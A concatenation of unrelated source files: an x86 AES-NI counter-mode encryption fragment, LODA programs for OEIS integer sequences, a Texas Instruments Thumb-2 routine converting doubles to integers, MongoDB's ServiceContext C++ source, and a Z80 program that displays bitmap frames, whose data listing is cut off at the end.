(-16)(%r10), %xmm0 .Lkey_128_sgas_1: aesenc (%r10), %xmm0 aesenc (16)(%r10), %xmm0 aesenc (32)(%r10), %xmm0 aesenc (48)(%r10), %xmm0 aesenc (64)(%r10), %xmm0 aesenc (80)(%r10), %xmm0 aesenc (96)(%r10), %xmm0 aesenc (112)(%r10), %xmm0 aesenc (128)(%r10), %xmm0 aesenclast (144)(%r10), %xmm0 add $(1), %rax adc $(0), %rbx sub $(16), %r8 jl .Lpartial_blockgas_1 movdqu (%rdi), %xmm4 pxor %xmm4, %xmm0 movdqu %xmm0, (%rsi) add $(16), %rdi add $(16), %rsi cmp $(0), %r8 jz .Lquitgas_1 jmp .Lsingle_blk_loopgas_1 .Lpartial_blockgas_1: add $(16), %r8 .Lpartial_block_loopgas_1: pextrb $(0), %xmm0, %r10d psrldq $(1), %xmm0 movzbl (%rdi), %r11d xor %r11, %r10 movb %r10b, (%rsi) inc %rdi inc %rsi dec %r8 jnz .Lpartial_block_loopgas_1 .Lquitgas_1: pinsrq $(0), %rax, %xmm0 pinsrq $(1), %rbx, %xmm0 pshufb u128_str(%rip), %xmm0 pand %xmm8, %xmm0 por %xmm9, %xmm0 movdqu %xmm0, (%r9) pop %rbx ret .Lfe1: .size n0_EncryptCTR_RIJ128pipe_AES_NI, .Lfe1-(n0_EncryptCTR_RIJ128pipe_AES_NI)
; A084266: Binomial transform of A084265. ; 1,3,11,34,96,256,656,1632,3968,9472,22272,51712,118784,270336,610304,1368064,3047424,6750208,14876672,32636928,71303168,155189248,336592896,727711744,1568669696,3372220416,7230980096,15468593152,33017561088,70330089472,149518548992,317290708992,672162381824,1421634174976,3002182139904,6330781794304,13331578486784,28037546508288,58892591562752,123557619171328,258934988341248,542059232493568,1133596488237056,2368348046229504,4943404278480896 mov $3,$0 sub $0,$0 add $0,$3 mov $1,$3 add $1,4 bin $1,2 lpb $0,1 sub $0,1 sub $1,2 mul $1,2 mov $2,1 lpe add $1,$2 sub $1,9 div $1,4 add $1,1
; A155853: Numbers n such that 13*n + 3 is a prime. ; Submitted by Christian Krause ; 0,2,8,16,20,28,32,40,46,50,58,62,68,76,82,98,100,106,110,112,116,128,130,140,146,152,160,166,170,172,188,190,196,208,218,232,250,256,266,272,278,280,296,298,302,308,316,326,338,340,358,368,370,380,382,386,392,406,410,418,442,446,448,452,470,478,482,490,496,502,506,508,512,518,520,526,536,538,548,560,562,578,586,590,592,602,608,610,616,622,628,632,638,662,670,692,700,706,716,718 mov $1,2 mov $2,$0 pow $2,2 lpb $2 mov $3,$1 seq $3,10051 ; Characteristic function of primes: 1 if n is prime, else 0. sub $0,$3 add $1,26 mov $4,$0 max $4,0 cmp $4,$0 mul $2,$4 sub $2,1 lpe mov $0,$1 div $0,13
;****************************************************************************** ;* FD_TOI_T2.ASM - THUMB-2 STATE - * ;* * ;* Copyright (c) 1996 Texas Instruments Incorporated * ;* http://www.ti.com/ * ;* * ;* Redistribution and use in source and binary forms, with or without * ;* modification, are permitted provided that the following conditions * ;* are met: * ;* * ;* Redistributions of source code must retain the above copyright * ;* notice, this list of conditions and the following disclaimer. * ;* * ;* Redistributions in binary form must reproduce the above copyright * ;* notice, this list of conditions and the following disclaimer in * ;* the documentation and/or other materials provided with the * ;* distribution. * ;* * ;* Neither the name of Texas Instruments Incorporated nor the names * ;* of its contributors may be used to endorse or promote products * ;* derived from this software without specific prior written * ;* permission. * ;* * ;* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS * ;* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT * ;* LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR * ;* A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT * ;* OWNER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, * ;* SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT * ;* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, * ;* DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY * ;* THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT * ;* (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE * ;* OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. * ;* * ;****************************************************************************** ;**************************************************************************** ;* FD$TOI - CONVERT AN IEEE 754 FORMAT DOUBLE PRECISION FLOATING ;* INTO A SIGNED 32 BIT INTEGER ;**************************************************************************** ;* ;* o INPUT OP IS IN r0:r1 ;* o RESULT IS RETURNED IN r0 ;* o INPUT OP IN r1 IS DESTROYED ;* ;* o SIGNALLING NOT-A-NUMBER (SNaN) AND QUIET NOT-A-NUMBER (QNaN) ;* ARE TREATED AS INFINITY ;* o OVERFLOW RETURNS 0x7FFFFFFF/0x80000000, DEPENDING ON THE SIGN OF ;* THE INPUT ;* o UNDERFLOW RETURNS ZERO (0x00000000) ;* o ROUNDING MODE: ROUND TO ZERO ;* ;**************************************************************************** ;* ;* +------------------------------------------------------------------+ ;* | DOUBLE PRECISION FLOATING POINT FORMAT | ;* | 64-bit representation | ;* | 31 30 20 19 0 | ;* | +-+----------+---------------------+ | ;* | |S| E | M1 | | ;* | +-+----------+---------------------+ | ;* | | ;* | 31 0 | ;* | +----------------------------------+ | ;* | | M2 | | ;* | +----------------------------------+ | ;* | | ;* | <S> SIGN FIELD : 0 - POSITIVE VALUE | ;* | 1 - NEGATIVE VALUE | ;* | | ;* | <E> EXPONENT FIELD: 0000000000 - ZERO IFF M == 0 | ;* | 0000000001..1111111110 - EXPONENT VALUE(1023 BIAS) | ;* | 1111111111 - INFINITY | ;* | | ;* | <M1:M2> MANTISSA FIELDS: FRACTIONAL MAGNITUDE WITH IMPLIED 1 | ;* +------------------------------------------------------------------+ ;* ;**************************************************************************** .thumb .if __TI_EABI_ASSEMBLER ; ASSIGN EXTERNAL NAMES BASED ON .asg __aeabi_d2iz, __TI_FD$TOI ; RTS BEING BUILT .else .clink .asg FD$TOI, __TI_FD$TOI .endif .global __TI_FD$TOI .if .TMS470_BIG_DOUBLE rp1_hi .set r0 ; High word of regpair 1 rp1_lo .set r1 ; Low word of regpair 1 .else rp1_hi .set r1 ; High word of regpair 1 rp1_lo .set r0 ; Low word of regpair 1 .endif opm .set r2 ope .set r3 .thumbfunc __TI_FD$TOI __TI_FD$TOI: .asmfunc stack_usage(8) PUSH {r2, r3, lr} ; SAVE CONTEXT LSL ope, rp1_hi, #1 ; PUT EXPONENT IN ope LSR ope, ope, #21 ; SUBS ope, ope, #0x300 ; ADJUST FOR EXPONENT BIAS AND SUBS ope, ope, #0xFF ; CHECK FOR UNDERFLOW ITT MI MOVMI r0, #0 ; IF UNDERFLOW, RETURN ZERO POPMI {r2, r3, pc} ; RSBS ope, ope, #0x1F ; CHECK FOR OVERFLOW BLS ovfl ; IF OVERFLOW, RETURN INFINITY LSL opm, rp1_hi, #11 ; PUT HI MANTISSA IN opm ORR opm, opm, #0x80000000 ; SET IMPLIED ONE IN HI MANTISSA LSR opm, opm, ope ; COMPUTE THE INTEGER VALUE CMP ope, #11 ; FROM HI HALF OF THE MANTISSA. ITTT CC ADDCC ope, ope, #21 ; IF THE LOW HALF OF THE MANTISSA IS LSRCC rp1_lo, rp1_lo, ope ; ORRCC opm, opm, rp1_lo ; SIGNIFICANT, INCLUDE IT ALSO CMP rp1_hi, #0 ; IF THE INPUT IS NEGATIVE, ITE MI RSBMI r0, opm, #0 ; THEN NEGATE THE RESULT MOVPL r0, opm ; POP {r2, r3, pc} ; ovfl: CMP rp1_hi, #0 ; IF OVERFLOW, RETURN INFINITY MOV r0, #0x80000000 ; CHECK THE SIGN OF THE INPUT IT PL SUBPL r0, r0, #0x1 ; AND ADJUST INFINITY ACCORDINGLY POP {r2, r3, pc} ; .endasmfunc .end
/** * Copyright (C) 2014 MongoDB Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU Affero General Public License, version 3, * as published by the Free Software Foundation. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU Affero General Public License for more details. * * You should have received a copy of the GNU Affero General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. * * As a special exception, the copyright holders give permission to link the * code of portions of this program with the OpenSSL library under certain * conditions as described in each individual source file and distribute * linked combinations including the program with the OpenSSL library. You * must comply with the GNU Affero General Public License in all respects for * all of the code used other than as permitted herein. If you modify file(s) * with this exception, you may extend this exception to your version of the * file(s), but you are not obligated to do so. If you do not wish to do so, * delete this exception statement from your version. If you delete this * exception statement from all source files in the program, then also delete * it in the license file. */ #include "mongo/platform/basic.h" #include "mongo/db/service_context.h" #include "mongo/bson/bsonobj.h" #include "mongo/db/client.h" #include "mongo/db/operation_context.h" #include "mongo/stdx/memory.h" #include "mongo/transport/service_entry_point.h" #include "mongo/transport/session.h" #include "mongo/transport/transport_layer.h" #include "mongo/transport/transport_layer_manager.h" #include "mongo/util/assert_util.h" #include "mongo/util/mongoutils/str.h" #include "mongo/util/system_clock_source.h" #include "mongo/util/system_tick_source.h" namespace mongo { namespace { ServiceContext* globalServiceContext = NULL; } // namespace bool hasGlobalServiceContext() { return globalServiceContext; } ServiceContext* getGlobalServiceContext() { fassert(17508, globalServiceContext); return globalServiceContext; } void setGlobalServiceContext(std::unique_ptr<ServiceContext>&& serviceContext) { fassert(17509, serviceContext.get()); delete globalServiceContext; globalServiceContext = serviceContext.release(); } bool _supportsDocLocking = false; bool supportsDocLocking() { return _supportsDocLocking; } bool isMMAPV1() { StorageEngine* globalStorageEngine = getGlobalServiceContext()->getGlobalStorageEngine(); invariant(globalStorageEngine); return globalStorageEngine->isMmapV1(); } Status validateStorageOptions( const BSONObj& storageEngineOptions, stdx::function<Status(const StorageEngine::Factory* const, const BSONObj&)> validateFunc) { BSONObjIterator storageIt(storageEngineOptions); while (storageIt.more()) { BSONElement storageElement = storageIt.next(); StringData storageEngineName = storageElement.fieldNameStringData(); if (storageElement.type() != mongo::Object) { return Status(ErrorCodes::BadValue, str::stream() << "'storageEngine." << storageElement.fieldNameStringData() << "' has to be an embedded document."); } std::unique_ptr<StorageFactoriesIterator> sfi( getGlobalServiceContext()->makeStorageFactoriesIterator()); invariant(sfi); bool found = false; while (sfi->more()) { const StorageEngine::Factory* const& factory = sfi->next(); if (storageEngineName != factory->getCanonicalName()) { continue; } Status status = validateFunc(factory, storageElement.Obj()); if (!status.isOK()) { return status; } found = true; } if (!found) { return Status(ErrorCodes::InvalidOptions, str::stream() << storageEngineName << " is not a registered storage engine for this server"); } } return Status::OK(); } ServiceContext::ServiceContext() : _transportLayerManager(stdx::make_unique<transport::TransportLayerManager>()), _tickSource(stdx::make_unique<SystemTickSource>()), _fastClockSource(stdx::make_unique<SystemClockSource>()), _preciseClockSource(stdx::make_unique<SystemClockSource>()) {} ServiceContext::~ServiceContext() { stdx::lock_guard<stdx::mutex> lk(_mutex); invariant(_clients.empty()); } ServiceContext::UniqueClient ServiceContext::makeClient(std::string desc, transport::Session* session) { std::unique_ptr<Client> client(new Client(std::move(desc), this, session)); auto observer = _clientObservers.cbegin(); try { for (; observer != _clientObservers.cend(); ++observer) { observer->get()->onCreateClient(client.get()); } } catch (...) { try { while (observer != _clientObservers.cbegin()) { --observer; observer->get()->onDestroyClient(client.get()); } } catch (...) { std::terminate(); } throw; } { stdx::lock_guard<stdx::mutex> lk(_mutex); invariant(_clients.insert(client.get()).second); } return UniqueClient(client.release()); } transport::TransportLayer* ServiceContext::getTransportLayer() const { return _transportLayerManager.get(); } ServiceEntryPoint* ServiceContext::getServiceEntryPoint() const { return _serviceEntryPoint.get(); } Status ServiceContext::addAndStartTransportLayer(std::unique_ptr<transport::TransportLayer> tl) { return _transportLayerManager->addAndStartTransportLayer(std::move(tl)); } TickSource* ServiceContext::getTickSource() const { return _tickSource.get(); } ClockSource* ServiceContext::getFastClockSource() const { return _fastClockSource.get(); } ClockSource* ServiceContext::getPreciseClockSource() const { return _preciseClockSource.get(); } void ServiceContext::setTickSource(std::unique_ptr<TickSource> newSource) { _tickSource = std::move(newSource); } void ServiceContext::setFastClockSource(std::unique_ptr<ClockSource> newSource) { _fastClockSource = std::move(newSource); } void ServiceContext::setPreciseClockSource(std::unique_ptr<ClockSource> newSource) { _preciseClockSource = std::move(newSource); } void ServiceContext::setServiceEntryPoint(std::unique_ptr<ServiceEntryPoint> sep) { _serviceEntryPoint = std::move(sep); } void ServiceContext::ClientDeleter::operator()(Client* client) const { ServiceContext* const service = client->getServiceContext(); { stdx::lock_guard<stdx::mutex> lk(service->_mutex); invariant(service->_clients.erase(client)); } try { for (const auto& observer : service->_clientObservers) { observer->onDestroyClient(client); } } catch (...) { std::terminate(); } delete client; } ServiceContext::UniqueOperationContext ServiceContext::makeOperationContext(Client* client) { auto opCtx = _newOpCtx(client, _nextOpId.fetchAndAdd(1)); auto observer = _clientObservers.begin(); try { for (; observer != _clientObservers.cend(); ++observer) { observer->get()->onCreateOperationContext(opCtx.get()); } } catch (...) { try { while (observer != _clientObservers.cbegin()) { --observer; observer->get()->onDestroyOperationContext(opCtx.get()); } } catch (...) { std::terminate(); } throw; } { stdx::lock_guard<Client> lk(*client); client->setOperationContext(opCtx.get()); } return UniqueOperationContext(opCtx.release()); }; void ServiceContext::OperationContextDeleter::operator()(OperationContext* opCtx) const { auto client = opCtx->getClient(); auto service = client->getServiceContext(); { stdx::lock_guard<Client> lk(*client); client->resetOperationContext(); } try { for (const auto& observer : service->_clientObservers) { observer->onDestroyOperationContext(opCtx); } } catch (...) { std::terminate(); } delete opCtx; } void ServiceContext::registerClientObserver(std::unique_ptr<ClientObserver> observer) { _clientObservers.push_back(std::move(observer)); } ServiceContext::LockedClientsCursor::LockedClientsCursor(ServiceContext* service) : _lock(service->_mutex), _curr(service->_clients.cbegin()), _end(service->_clients.cend()) {} Client* ServiceContext::LockedClientsCursor::next() { if (_curr == _end) return nullptr; Client* result = *_curr; ++_curr; return result; } BSONArray storageEngineList() { if (!hasGlobalServiceContext()) return BSONArray(); std::unique_ptr<StorageFactoriesIterator> sfi( getGlobalServiceContext()->makeStorageFactoriesIterator()); if (!sfi) return BSONArray(); BSONArrayBuilder engineArrayBuilder; while (sfi->more()) { engineArrayBuilder.append(sfi->next()->getCanonicalName()); } return engineArrayBuilder.arr(); } void appendStorageEngineList(BSONObjBuilder* result) { result->append("storageEngines", storageEngineList()); } void ServiceContext::setKillAllOperations() { stdx::lock_guard<stdx::mutex> clientLock(_mutex); _globalKill.store(true); for (const auto listener : _killOpListeners) { try { listener->interruptAll(); } catch (...) { std::terminate(); } } } void ServiceContext::killOperation(OperationContext* opCtx, ErrorCodes::Error killCode) { opCtx->markKilled(killCode); for (const auto listener : _killOpListeners) { try { listener->interrupt(opCtx->getOpID()); } catch (...) { std::terminate(); } } } void ServiceContext::killAllUserOperations(const OperationContext* txn, ErrorCodes::Error killCode) { for (LockedClientsCursor cursor(this); Client* client = cursor.next();) { if (!client->isFromUserConnection()) { // Don't kill system operations. continue; } stdx::lock_guard<Client> lk(*client); OperationContext* toKill = client->getOperationContext(); // Don't kill ourself. if (toKill && toKill->getOpID() != txn->getOpID()) { killOperation(toKill, killCode); } } } void ServiceContext::unsetKillAllOperations() { _globalKill.store(false); } void ServiceContext::registerKillOpListener(KillOpListenerInterface* listener) { stdx::lock_guard<stdx::mutex> clientLock(_mutex); _killOpListeners.push_back(listener); } } // namespace mongo
; A011919: a(n) = floor(n*(n-1)*(n-2)*(n-3)/9). ; 0,0,0,0,2,13,40,93,186,336,560,880,1320,1906,2669,3640,4853,6346,8160,10336,12920,15960,19506,23613,28336,33733,39866,46800,54600,63336,73080,83906,95893,109120,123669,139626,157080,176120,196840,219336,243706,270053,298480 bin $0,4 mul $0,8 div $0,3
10 ORG 100H 20 JP MAIN 30GPF EQU 0BFD0H 40MAIN: LD HL,L0 50 LD B,144 60 LD DE,0 70 CALL GPF 80 LD HL,L1 90 LD B,144 100 LD DE,0100H 110 CALL GPF 120 LD HL,L2 130 LD B,144 140 LD DE,0200H 150 CALL GPF 160 LD HL,L3 170 LD B,144 180 LD DE,0300H 190 CALL GPF 200 LD HL,L4 210 LD B,144 220 LD DE,0400H 230 CALL GPF 240 LD HL,L5 250 LD B,144 260 LD DE,0500H 270 CALL GPF 280 CALL WAIT 290 LD HL,L6 300 LD B,144 310 LD DE,0000H 320 CALL GPF 330 LD HL,L7 340 LD B,144 350 LD DE,0100H 360 CALL GPF 370 LD HL,L8 380 LD B,144 390 LD DE,0200H 400 CALL GPF 410 LD HL,L9 420 LD B,144 430 LD DE,0300H 440 CALL GPF 450 LD HL,L10 460 LD B,144 470 LD DE,0400H 480 CALL GPF 490 LD HL,L11 500 LD B,144 510 LD DE,0500H 520 CALL GPF 530 CALL WAIT 540 IN A,(1FH) 550 RLCA 560 RET C 570 JP MAIN 580 RET 590WAIT: LD BC,500 600WLOOP: DEC BC 610 LD A,B 620 OR C 630 JR NZ,WLOOP 640 RET 650L0: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 660 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 7FH 670 DB 3FH, 3FH, 1FH, 1FH, 0FH, 0FH, 0FH, 8FH, 87H, 47H, 0A7H, 0C7H 680 DB 27H, 0C7H, 2FH, 8FH, 0AFH, 4FH, 9FH, 1FH, 0BFH, 3FH, 7FH, 7FH 690 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 700 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 710 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 720 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 730 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 740 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 750 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 760 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 770L1: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 780 DB 0FFH, 0FFH, 0FFH, 0FFH, 7FH, 1FH, 0FH, 03H, 81H, 20H, 80H, 0D0H 790 DB 0E0H, 0E8H, 0F0H, 0F4H, 0F8H, 0F8H, 0FFH, 0FBH, 0FEH, 0FFH, 0FBH, 0FEH 800 DB 0FBH, 0EEH, 0F5H, 0DEH, 74H, 0CBH, 0CH, 02H, 06H, 00H, 05H, 00H 810 DB 14H, 21H, 43H, 8FH, 1FH, 7FH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 820 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 7FH 830 DB 3FH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 840 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 850 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 860 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 870 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 880 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 890L2: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 900 DB 0FFH, 0FFH, 0FFH, 43H, 0BAH, 0ECH, 0F8H, 0FAH, 0FEH, 0FFH, 0FFH, 0FFH 910 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 920 DB 0FFH, 0FFH, 0FEH, 0FFH, 0EFH, 0FDH, 0BBH, 0EEH, 58H, 0C0H, 40H, 0C0H 930 DB 40H, 40H, 0A0H, 4AH, 24H, 50H, 03H, 0BFH, 0FFH, 0FFH, 0FFH, 0FFH 940 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FDH, 0FFH, 0FEH, 0FFH, 0FFH, 80H 950 DB 7FH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 960 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 970 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 980 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 990 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1000 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1010L3: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1020 DB 0FFH, 0FFH, 0FFH, 0FAH, 0EDH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1030 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1040 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FDH, 0FFH, 0F5H, 0DFH, 0B5H, 0EAH 1050 DB 0DDH, 63H, 5CH, 0A5H, 55H, 0AAH, 0E1H, 0FEH, 0FFH, 0FFH, 0FFH, 0FFH 1060 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1070 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1080 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1090 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1100 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1110 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1120 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1130L4: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1140 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1150 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1160 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FEH 1170 DB 0F5H, 0FFH, 0F5H, 0FEH, 0FDH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1180 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1190 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1200 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1210 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1220 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1230 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1240 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1250L5: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1260 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1270 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1280 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1290 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1300 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1310 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1320 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1330 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1340 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1350 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1360 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1370L6: DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1380 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 7FH, 3FH 1390 DB 3FH, 1FH, 1FH, 0FH, 0FH, 07H, 07H, 07H, 07H, 07H, 07H, 07H 1400 DB 07H, 07H, 07H, 07H, 07H, 0FH, 0FH, 0FH, 1FH, 1FH, 3FH, 7FH 1410 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 7FH, 0FFH, 0FFH, 0FFH 1420 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1430 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1440 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1450 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1460 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 1470 DB 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH, 0FFH 